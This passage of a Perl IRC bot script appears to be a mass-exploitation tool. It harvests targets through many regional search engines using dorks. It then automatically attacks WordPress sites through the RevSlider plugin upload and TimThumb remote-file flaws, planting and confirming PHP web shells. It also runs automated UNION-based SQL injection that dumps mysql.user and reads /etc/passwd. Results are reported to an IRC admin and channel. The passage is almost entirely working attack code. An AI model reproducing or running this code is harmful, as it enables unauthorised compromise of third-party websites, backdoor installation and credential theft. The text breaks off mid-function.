  1316.     if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingRU",$type); } exit; } }
  1317.     if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingJP",$type); } exit; } }
  1318.     if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingCN",$type); } exit; } }
  1319.     if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingKR",$type); } exit; } }
  1320.     if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingMX",$type); } exit; } }
  1321.     if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingAR",$type); } exit; } }
  1322.     if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingCL",$type); } exit; } }
  1323.     if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingAU",$type); } exit; } }
  1324.     if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKCA",$type); } exit; } }
  1325.     if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKDE",$type); } exit; } }
  1326.     if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKIT",$type); } exit; } }
  1327.     if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKFR",$type); } exit; } }
  1328.     if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKES",$type); } exit; } }
  1329.     if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKRU",$type); } exit; } }
  1330.     if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKNL",$type); } exit; } }
  1331.     if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKUK",$type); } exit; } }
  1332.     if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKBR",$type); } exit; } }
  1333.     if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKPL",$type); } exit; } }
  1334.     if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKAU",$type); } exit; } }
  1335.     if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKAT",$type); } exit; } }
  1336.     if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKJP",$type); } exit; } }
  1337.     if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKSE",$type); } exit; } }
  1338.     if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKMX",$type); } exit; } }
  1339.     if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKNO",$type); } exit; } }
  1340.     if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKDK",$type); } exit; } }
  1341. }
  1342. }
  1343. ###### EXPLOITING #######
  1344.  
  1345. sub rev_exploit() {
  1346.     my $chan = $_[0];
  1347.     my $bug = $_[1];
  1348.     my $simpan = $_[2];
  1349.     my $dork = $_[3];
  1350.     my $engine = $_[4];
  1351.     my $count = 0;
  1352.     my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$vdlogo,$nick);
  1353.         my $num = scalar(@totexploit);
  1354.         if ($num > 0){
  1355.         foreach my $site(@totexploit){
  1356.             $count++;
  1357.              if ($count == $num-1) { &msg("$chan","$vdlogo5[4-5=4[8$engine4]5=4-5] 10The 4- 10End. . "); }
  1358.            
  1359.             my $path = "http://".$site;
  1360.             my $cekx  = &get_content($path); sleep(3);  
  1361.                                        
  1362.                     if ($cekx =~ /wp-content\/themes/i) {
  1363.             my $magic = "revslider.zip";
  1364.            
  1365.  
  1366.             my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  1367.                $ua->timeout(10);
  1368.                $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  1369.            
  1370.                
  1371.       my $exploit = $ua->post($path, Cookie => "",
  1372.                     Content_Type => "form-data",
  1373.                     Content => ['action' => "revslider_ajax_action",
  1374.                                 'client_action' => "update_plugin",
  1375.                                  update_file => ["$magic"]]); sleep(5);
  1376.  
  1377. if ($exploit->decoded_content =~ /Wrong update extracted folder/) {
  1378. &msg("$chan","$vdlogo5[4-5=4[8$engine4]5=4-5] 12[8+12] 11Payload successfully executed 12[8+12]");
  1379.              
  1380.  
  1381.                 }
  1382.                 my $shellx =  "http://".$site."/wp-content/plugins/revslider/temp/update_extract/revslider/.libs.php"; 
  1383.                 my $shellx2 =  "https://".$site."/wp-content/plugins/revslider/temp/update_extract/revslider/.libs.php";   
  1384.                    
  1385.            my $ceksx  = &get_content($shellx); sleep(3);  
  1386.                                        
  1387.                     if ($ceksx =~ /BArNEr/i) {
  1388.                    
  1389.                         my $safe = "";
  1390.                         my $os   = "";
  1391.                         my $uid  = "";
  1392.                         if ($ceksx =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1393.                         if ($ceksx =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1394.                         if ($ceksx =~ /uid=(.*?)gid=/){$uid=$1;}
  1395.          
  1396.         &msg("$admin","$vdlogo5[4-5=4[8$engine4]5=4-5] 4 $shellx 14[3$os14][3safemode10:3$safe14]"); sleep(5);
  1397.         &msg("BArNEr]","$vdlogo5[4-5=4[8$engine4]5=4-5] 4 $shellx2 14[3$os14][3safemode10:3$safe14]"); sleep(5);
  1398.         &msg("$chan","$vdlogo5[4-5=4[8$engine4]5=4-5] 11Private Shell 4[3$os4][3safemode10:3$safe4]"); sleep(5);
  1399.           }
  1400.          
  1401.           my $shells =  "http://".$site."/.libs.php";
  1402.             my $shells2 =  "https://".$site."/.libs.php";    
  1403.           my $ceks2  = &get_content($shells); sleep(3);
  1404.           if ($ceks2 =~ /BArNEr/i) {
  1405.                    
  1406.                         my $safe = "";
  1407.                         my $os   = "";
  1408.                         my $uid  = "";
  1409.                         if ($ceks2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1410.                         if ($ceks2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1411.                         if ($ceks2 =~ /uid=(.*?)gid=/){$uid=$1;}
  1412.          
  1413.         &msg("$admin","$vdlogo5[4-5=4[8$engine4]5=4-5] 4 $shells 14[3$os14][3safemode10:3$safe14]"); sleep(5);
  1414.         &msg("BArNEr]","$vdlogo5[4-5=4[8$engine4]5=4-5] 4 $shells2 14[3$os14][3safemode10:3$safe14]"); sleep(5);
  1415.         &msg("$chan","$vdlogo5[4-5=4[8$engine4]5=4-5] 11Private Shell 4[3$os4][3safemode10:3$safe4]"); sleep(5);
  1416.           }
  1417.              
  1418.          
  1419.                 }
  1420.                    
  1421.             }
  1422.        
  1423.         }
  1424. }
  1425.  
  1426.  
  1427. sub sql_exploit() {
  1428. my $chan = $_[0];
  1429. my $bug = $_[1];
  1430. my $simpan = $_[2];
  1431. my $dork = $_[3];
  1432. my $engine = $_[4];
  1433. my $count = 0;
  1434. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$sqllogo);
  1435. my $num = scalar(@totexploit);
  1436. if ($num > 0){
  1437. foreach my $site(@totexploit){
  1438. $count++;
  1439. if ($count == $num-1) { &msg("$chan","$sqllogo15$engine 9Finished 15for 9$dork "); }
  1440. my $test = "http://".$site.$bug."'";
  1441. my $vuln = "http://".$site."12".$bug;
  1442. my $sqlsite = "http://".$site.$bug;
  1443. my $html = &get_content($test);
  1444. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1445. if ($html =~ m/You have an error in your SQL syntax/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
  1446. &sqlbrute($sqlsite,$chan,$engine);}
  1447. elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
  1448. &msg("$chan","$sqllogo(4@3$engine15)15(7@12MsSQL15)4 ".$vuln);
  1449. &sqlbrute($sqlsite,$chan,$engine);}
  1450. elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
  1451. &msg("$chan","$sqllogo(4@3$engine15)15(9@12MsAccess15)4 ".$vuln);
  1452. &sqlbrute($sqlsite,$chan,$engine);}
  1453. elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
  1454. &sqlbrute($sqlsite,$chan,$engine);}
  1455. } exit; }
  1456. }
  1457. }
  1458. }
  1459. sub sqlbrute() {
  1460. my $situs=$_[0];
  1461. my $chan =$_[1];
  1462. my $engine=$_[2];
  1463. my $columns=30;
  1464. my $cfin.="--";
  1465. my $cmn.= "+";
  1466. for ($column = 0 ; $column < $columns ; $column ++)
  1467. {
  1468. $union.=','.$column;
  1469. $inyection.=','."0x6c6f67696e70776e7a";
  1470. if ($column == 0)
  1471. {
  1472. $inyection = '';
  1473. $union = '';
  1474. }
  1475. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
  1476. $response=get($sql);
  1477. if($response =~ /loginpwnz/)
  1478. {
  1479. $column ++;
  1480. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
  1481. &msg("$chan","$sqllogo(4@3$engine15)15(4@12SQL15)9 $sql ");
  1482. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
  1483. $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
  1484. if($response =~ /loginpwnz/)
  1485. {
  1486. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
  1487. &msg("$chan","$sqllogo(4@3$engine15)15(4@12SQL15)(4@14INFO_SCHEMA14)9 $sql ");
  1488. }
  1489. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
  1490. $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
  1491. if($response =~ /loginpwnz/)
  1492. {
  1493. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
  1494. &msg("$chan","$sqllogo(4@3$engine15)15(4@12SQL15)(4@14USER14)9 $sql ");
  1495. }
  1496. else
  1497. {
  1498. }
  1499. while ($loadcont < $column-1)
  1500. {
  1501. $loadfile.=','.'load_file(0x2f6574632f706173737764)';
  1502. $loadcont++;
  1503. }
  1504. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
  1505. $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
  1506. if($response =~ /root:x:/)
  1507. {
  1508. &msg("$chan","0,1$sqllogo(4@3$engine15)15(4@12SQL15)(4@14Load File14)9 $sql ");
  1509. }
  1510. else
  1511. {
  1512. }
  1513. foreach $tabla(@tabele)
  1514. {
  1515. chomp($tabla);
  1516. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  1517. $response=get($sql)or die("[-] Impossible to get tables\n");
  1518. if($response =~ /loginpwnz/)
  1519. {
  1520. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
  1521. &msg("$chan","0,1$sqllogo(4@3$engine15)15(13@12SQL15)(4@14Tabel14)9 $sql ");
  1522. }
  1523. }
  1524. }
  1525. }
  1526. }
  1527. sub thumb_exploit() {
  1528. my $chan = $_[0];
  1529. my $bug = $_[1];
  1530. my $simpan = $_[2];
  1531. my $dork = $_[3];
  1532. my $engine = $_[4];
  1533. my $count = 0;
  1534. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$thumblogo);
  1535. my $num = scalar(@totexploit);
  1536. if ($num > 0){
  1537. foreach my $site(@totexploit){
  1538. $count++;
  1539. if ($count == $num-1) { &msg("$chan","$thumblogo15$engine 9Finished 15for 9$dork "); }
  1540. my $test = "http://".$site;        
  1541.             my $contol = &get_content($test);sleep(3);          
  1542.             if ($contol =~ /\/wp-content\/themes\/(.*?)\//i){
  1543.                 $themes = $1;
  1544.                
  1545.                
  1546.             my $vuln  = "http://".$site."/wp-content/themes/".$themes."/timthumb.php?src=".$thumbshell;
  1547.             my $vuln2 = "http://".$site."/wp-content/themes/".$themes."/scripts/timthumb.php?src=".$thumbshell;
  1548.             my $vuln3 = "http://".$site."/wp-content/themes/".$themes."/thumb.php?src=".$thumbshell;
  1549.             my $vuln4 = "http://".$site."/wp-content/themes/".$themes."/scripts/thumb.php?src=".$thumbshell;
  1550.             my $vuln5 = "http://".$site."/wp-content/themes/".$themes."/includes/timthumb.php?src=".$thumbshell;
  1551.             my $vuln6 = "http://".$site."/wp-content/themes/".$themes."/lib/scripts/timthumb.php?src=".$thumbshell;
  1552.             my $vuln7 = "http://".$site."/wp-content/themes/".$themes."/js/timthumb.php?src=".$thumbshell;
  1553.             my $vuln8 = "http://".$site."/wp-content/themes/".$themes."/img.php?src=".$thumbshell;
  1554.             my $vuln9 = "http://".$site."/wp-content/themes/".$themes."/library/timthumb.php?src=".$thumbshell;
  1555.             my $vuln10 = "http://".$site."/wp-content/themes/".$themes."/script/timthumb.php?src=".$thumbshell;
  1556.             my $vuln11 = "http://".$site."/wp-content/themes/".$themes."/includes/timthumb/timthumb.php?src=".$thumbshell;
  1557.             my $vuln12 = "http://".$site."/wp-content/themes/".$themes."/thumbs/timthumb.php?src=".$thumbshell;
  1558.             my $vuln13 = "http://".$site."/wp-content/themes/".$themes."/lib/timthumb.php?src=".$thumbshell;
  1559.            
  1560.                
  1561.                 my $cek  = &get_content($vuln); sleep(3);
  1562.                 my $cek2 = &get_content($vuln2); sleep(3);
  1563.                 my $cek3 = &get_content($vuln3); sleep(3);
  1564.                 my $cek4 = &get_content($vuln4); sleep(3);
  1565.                 my $cek5 = &get_content($vuln5); sleep(3);
  1566.                 my $cek6 = &get_content($vuln6); sleep(3);
  1567.                 my $cek7 = &get_content($vuln7); sleep(3);
  1568.                 my $cek8 = &get_content($vuln8); sleep(3);
  1569.                 my $cek9 = &get_content($vuln9); sleep(3);
  1570.                 my $cek10 = &get_content($vuln10); sleep(3);
  1571.                 my $cek11 = &get_content($vuln11); sleep(3);
  1572.                 my $cek12 = &get_content($vuln12); sleep(3);
  1573.                 my $cek13 = &get_content($vuln13); sleep(3);
  1574.                
  1575.                
  1576.                
  1577.                
  1578.                 if ($cek =~ /Unable to open image/i){
  1579.                     &msg("$chan","$thumblogo14[10eXploiting14] 6[11#6]8bug12[8 1 12]4http://$site 8+ 11$themes14 please wait...");
  1580.                 if ($cek =~ m/\/wp-content\/(.*)\.php/i){
  1581.                 $error = $1;
  1582.                 my $respons = "error://".$site."/wp-content/".$error;
  1583.                 &msg("$admin","$thumblogo14[10path14] 11$respons ");
  1584.                 }
  1585.                 if ($cek =~ m/\/wp-content\/(.*)d24fc629e2bf070153e29eba3ee14cb3\.php/i){
  1586.                 $path = $1;
  1587.                    
  1588.                    
  1589.                
  1590.                 my $kuncung = "http://".$site."/wp-content/".$path."d24fc629e2bf070153e29eba3ee14cb3.php";
  1591.                 my $dara = "crack://".$site."/wp-content/".$path."d24fc629e2bf070153e29eba3ee14cb3.php";
  1592.                 my $ck1 = &get_content($kuncung);sleep(3);
  1593.                 if ($ck1 =~ /BArNEr/i) {
  1594.                         my $safe = "";
  1595.                         my $os   = "";
  1596.                         my $uid  = "";
  1597.                         if ($ck1 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1598.                         if ($ck1 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1599.                         if ($ck1 =~ /uid=(.*?)gid=/){$uid=$1;}
  1600.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $kuncung 14[3$os14][3safemode10:3$safe14]");
  1601.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $dara 14[3$os14][3safemode10:3$safe14]");
  1602.         &msg("$chan","10$thumblogo http://$site 4[3$os4][3safemode10:3$safe4]");
  1603.        
  1604.  
  1605.                    
  1606.                     }  
  1607.                     }
  1608.                     }
  1609.                     if ($cek2 =~ /Unable to open image/i){
  1610.                     &msg("$chan","$thumblogo14[10eXploiting14] 6[11#6]8bug12[8 2 12]4http://$site 8+ 11$themes14 please wait...");
  1611.                 if ($cek2 =~ m/\/wp-content\/(.*)\.php/i){
  1612.                 $error = $1;
  1613.                 my $respons = "error://".$site."/wp-content/".$error;
  1614.                 &msg("$admin","$thumblogo14[10path14] 11$respons ");
  1615.                 }
  1616.                 if ($cek2 =~ m/\/wp-content\/(.*)d24fc629e2bf070153e29eba3ee14cb3\.php/i){
  1617.                 $path2 = $1;
  1618.                    
  1619.                    
  1620.                
  1621.                 my $kuncung2 = "http://".$site."/wp-content/".$path2."d24fc629e2bf070153e29eba3ee14cb3.php";
  1622.                 my $dara = "crack://".$site."/wp-content/".$path2."d24fc629e2bf070153e29eba3ee14cb3.php";
  1623.                 my $ck2 = &get_content($kuncung2);sleep(3);
  1624.                 if ($ck2 =~ /BArNEr/i) {
  1625.                         my $safe = "";
  1626.                         my $os   = "";
  1627.                         my $uid  = "";
  1628.                         if ($ck2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1629.                         if ($ck2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1630.                         if ($ck2 =~ /uid=(.*?)gid=/){$uid=$1;}
  1631.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $kuncung2 14[3$os14][3safemode10:3$safe14]");
  1632.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $dara 14[3$os14][3safemode10:3$safe14]");
  1633.         &msg("$chan","10$thumblogo http://$site 4[3$os4][3safemode10:3$safe4]");
  1634.        
  1635.  
  1636.                    
  1637.                     }  
  1638.                     }
  1639.                     }
  1640.                     if ($cek3 =~ /Unable to open image/i){
  1641.                     &msg("$chan","$thumblogo14[10eXploiting14] 6[11#6]8bug12[8 3 12]4http://$site 8+ 11$themes14 please wait...");
  1642.                 if ($cek3 =~ m/\/wp-content\/(.*)\.php/i){
  1643.                 $error = $1;
  1644.                 my $respons = "error://".$site."/wp-content/".$error;
  1645.                 &msg("$admin","$thumblogo14[10path14] 11$respons ");
  1646.                 }
  1647.                 if ($cek3 =~ m/\/wp-content\/(.*)d24fc629e2bf070153e29eba3ee14cb3\.php/i){
  1648.                 $path3 = $1;
  1649.                    
  1650.                    
  1651.                
  1652.                 my $kuncung3 = "http://".$site."/wp-content/".$path3."d24fc629e2bf070153e29eba3ee14cb3.php";
  1653.                 my $dara = "crack://".$site."/wp-content/".$path3."d24fc629e2bf070153e29eba3ee14cb3.php";
  1654.                 my $ck3 = &get_content($kuncung3);sleep(3);
  1655.                 if ($ck3 =~ /BArNEr/i) {
  1656.                         my $safe = "";
  1657.                         my $os   = "";
  1658.                         my $uid  = "";
  1659.                         if ($ck3 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1660.                         if ($ck3 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1661.                         if ($ck3 =~ /uid=(.*?)gid=/){$uid=$1;}
  1662.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $kuncung3 14[3$os14][3safemode10:3$safe14]");
  1663.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $dara 14[3$os14][3safemode10:3$safe14]");
  1664.         &msg("$chan","10$thumblogo http://$site 4[3$os4][3safemode10:3$safe4]");
  1665.        
  1666.  
  1667.                    
  1668.                     }  
  1669.                     }
  1670.                     }
  1671.                     if ($cek4 =~ /Unable to open image/i){
  1672.                     &msg("$chan","$thumblogo14[10eXploiting14] 6[11#6]8bug12[8 4 12]4http://$site 8+ 11$themes14 please wait...");
  1673.                 if ($cek4 =~ m/\/wp-content\/(.*)\.php/i){
  1674.                 $error = $1;
  1675.                 my $respons = "error://".$site."/wp-content/".$error;
  1676.                 &msg("$admin","$thumblogo14[10path14] 11$respons ");
  1677.                 }
  1678.                 if ($cek4 =~ m/\/wp-content\/(.*)d24fc629e2bf070153e29eba3ee14cb3\.php/i){
  1679.                 $path4 = $1;
  1680.                    
  1681.                    
  1682.                
  1683.                 my $kuncung4 = "http://".$site."/wp-content/".$path4."d24fc629e2bf070153e29eba3ee14cb3.php";
  1684.                 my $dara = "crack://".$site."/wp-content/".$path4."d24fc629e2bf070153e29eba3ee14cb3.php";
  1685.                 my $ck4 = &get_content($kuncung4);sleep(3);
  1686.                 if ($ck4 =~ /BArNEr/i) {
  1687.                         my $safe = "";
  1688.                         my $os   = "";
  1689.                         my $uid  = "";
  1690.                         if ($ck4 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1691.                         if ($ck4 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1692.                         if ($ck4 =~ /uid=(.*?)gid=/){$uid=$1;}
  1693.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $kuncung4 14[3$os14][3safemode10:3$safe14]");
  1694.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $dara 14[3$os14][3safemode10:3$safe14]");
  1695.         &msg("$chan","10$thumblogo http://$site 4[3$os4][3safemode10:3$safe4]");
  1696.        
  1697.  
  1698.                    
  1699.                     }  
  1700.                     }
  1701.                     }
  1702.                     if ($cek5 =~ /Unable to open image/i){
  1703.                     &msg("$chan","$thumblogo14[10eXploiting14] 6[11#6]8bug12[8 5 12]4http://$site 8+ 11$themes14 please wait...");
  1704.                 if ($cek5 =~ m/\/wp-content\/(.*)\.php/i){
  1705.                 $error = $1;
  1706.                 my $respons = "error://".$site."/wp-content/".$error;
  1707.                 &msg("$admin","$thumblogo14[10path14] 11$respons ");
  1708.                 }
  1709.                 if ($cek5 =~ m/\/wp-content\/(.*)d24fc629e2bf070153e29eba3ee14cb3\.php/i){
  1710.                 $path5 = $1;
  1711.                    
  1712.                    
  1713.                
  1714.                 my $kuncung5 = "http://".$site."/wp-content/".$path5."d24fc629e2bf070153e29eba3ee14cb3.php";
  1715.                 my $dara = "crack://".$site."/wp-content/".$path5."d24fc629e2bf070153e29eba3ee14cb3.php";
  1716.                 my $ck5 = &get_content($kuncung5);sleep(3);
  1717.                 if ($ck5 =~ /BArNEr/i) {
  1718.                         my $safe = "";
  1719.                         my $os   = "";
  1720.                         my $uid  = "";
  1721.                         if ($ck5 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1722.                         if ($ck5 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1723.                         if ($ck5 =~ /uid=(.*?)gid=/){$uid=$1;}
  1724.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $kuncung5 14[3$os14][3safemode10:3$safe14]");
  1725.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $dara 14[3$os14][3safemode10:3$safe14]");
  1726.         &msg("$chan","10$thumblogo http://$site 4[3$os4][3safemode10:3$safe4]");
  1727.        
  1728.  
  1729.                    
  1730.                     }  
  1731.                     }
  1732.                     }
  1733.                     if ($cek6 =~ /Unable to open image/i){
  1734.                     &msg("$chan","$thumblogo14[10eXploiting14] 6[11#6]8bug12[8 6 12]4http://$site 8+ 11$themes14 please wait...");
  1735.                 if ($cek6 =~ m/\/wp-content\/(.*)\.php/i){
  1736.                 $error = $1;
  1737.                 my $respons = "error://".$site."/wp-content/".$error;
  1738.                 &msg("$admin","$thumblogo14[10path14] 11$respons ");
  1739.                 }
  1740.                 if ($cek6 =~ m/\/wp-content\/(.*)d24fc629e2bf070153e29eba3ee14cb3\.php/i){
  1741.                 $path6 = $1;
  1742.                    
  1743.                    
  1744.                
  1745.                 my $kuncung6 = "http://".$site."/wp-content/".$path6."d24fc629e2bf070153e29eba3ee14cb3.php";
  1746.                 my $dara = "crack://".$site."/wp-content/".$path6."d24fc629e2bf070153e29eba3ee14cb3.php";
  1747.                 my $ck6 = &get_content($kuncung6);sleep(3);
  1748.                 if ($ck6 =~ /BArNEr/i) {
  1749.                         my $safe = "";
  1750.                         my $os   = "";
  1751.                         my $uid  = "";
  1752.                         if ($ck6 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1753.                         if ($ck6 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1754.                         if ($ck6 =~ /uid=(.*?)gid=/){$uid=$1;}
  1755.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $kuncung6 14[3$os14][3safemode10:3$safe14]");
  1756.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $dara 14[3$os14][3safemode10:3$safe14]");
  1757.         &msg("$chan","10$thumblogo http://$site 4[3$os4][3safemode10:3$safe4]");
  1758.        
  1759.  
  1760.                    
  1761.                     }  
  1762.                     }
  1763.                     }
  1764.                     if ($cek7 =~ /Unable to open image/i){
  1765.                     &msg("$chan","$thumblogo14[10eXploiting14] 6[11#6]8bug12[8 7 12]4http://$site 8+ 11$themes14 please wait...");
  1766.                 if ($cek7 =~ m/\/wp-content\/(.*)\.php/i){
  1767.                 $error = $1;
  1768.                 my $respons = "error://".$site."/wp-content/".$error;
  1769.                 &msg("$admin","$thumblogo14[10path14] 11$respons ");
  1770.                 }
  1771.                 if ($cek7 =~ m/\/wp-content\/(.*)d24fc629e2bf070153e29eba3ee14cb3\.php/i){
  1772.                 $path7 = $1;
  1773.                    
  1774.                    
  1775.                
  1776.                 my $kuncung7 = "http://".$site."/wp-content/".$path7."d24fc629e2bf070153e29eba3ee14cb3.php";
  1777.                 my $dara = "crack://".$site."/wp-content/".$path7."d24fc629e2bf070153e29eba3ee14cb3.php";
  1778.                 my $ck7 = &get_content($kuncung7);sleep(3);
  1779.                 if ($ck7 =~ /BArNEr/i) {
  1780.                         my $safe = "";
  1781.                         my $os   = "";
  1782.                         my $uid  = "";
  1783.                         if ($ck7 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1784.                         if ($ck7 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1785.                         if ($ck7 =~ /uid=(.*?)gid=/){$uid=$1;}
  1786.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $kuncung7 14[3$os14][3safemode10:3$safe14]");
  1787.         &msg("$chan","10$thumblogo http://$site 4[3$os4][3safemode10:3$safe4]");
  1788.        
  1789.  
  1790.                    
  1791.                     }  
  1792.                     }
  1793.                     }
  1794.                     if ($cek8 =~ /Unable to open image/i){
  1795.                     &msg("$chan","$thumblogo14[10eXploiting14] 6[11#6]8bug12[8 8 12]4http://$site 8+ 11$themes14 please wait...");
  1796.                 if ($cek8 =~ m/\/wp-content\/(.*)\.php/i){
  1797.                 $error = $1;
  1798.                 my $respons = "error://".$site."/wp-content/".$error;
  1799.                 &msg("$admin","$thumblogo14[10path14] 11$respons ");
  1800.                 }
  1801.                 if ($cek8 =~ m/\/wp-content\/(.*)d24fc629e2bf070153e29eba3ee14cb3\.php/i){
  1802.                 $path8 = $1;
  1803.                    
  1804.                    
  1805.                
  1806.                 my $kuncung8 = "http://".$site."/wp-content/".$path8."d24fc629e2bf070153e29eba3ee14cb3.php";
  1807.                 my $dara = "crack://".$site."/wp-content/".$path8."d24fc629e2bf070153e29eba3ee14cb3.php";
  1808.                 my $ck8 = &get_content($kuncung8);sleep(3);
  1809.                 if ($ck8 =~ /BArNEr/i) {
  1810.                         my $safe = "";
  1811.                         my $os   = "";
  1812.                         my $uid  = "";
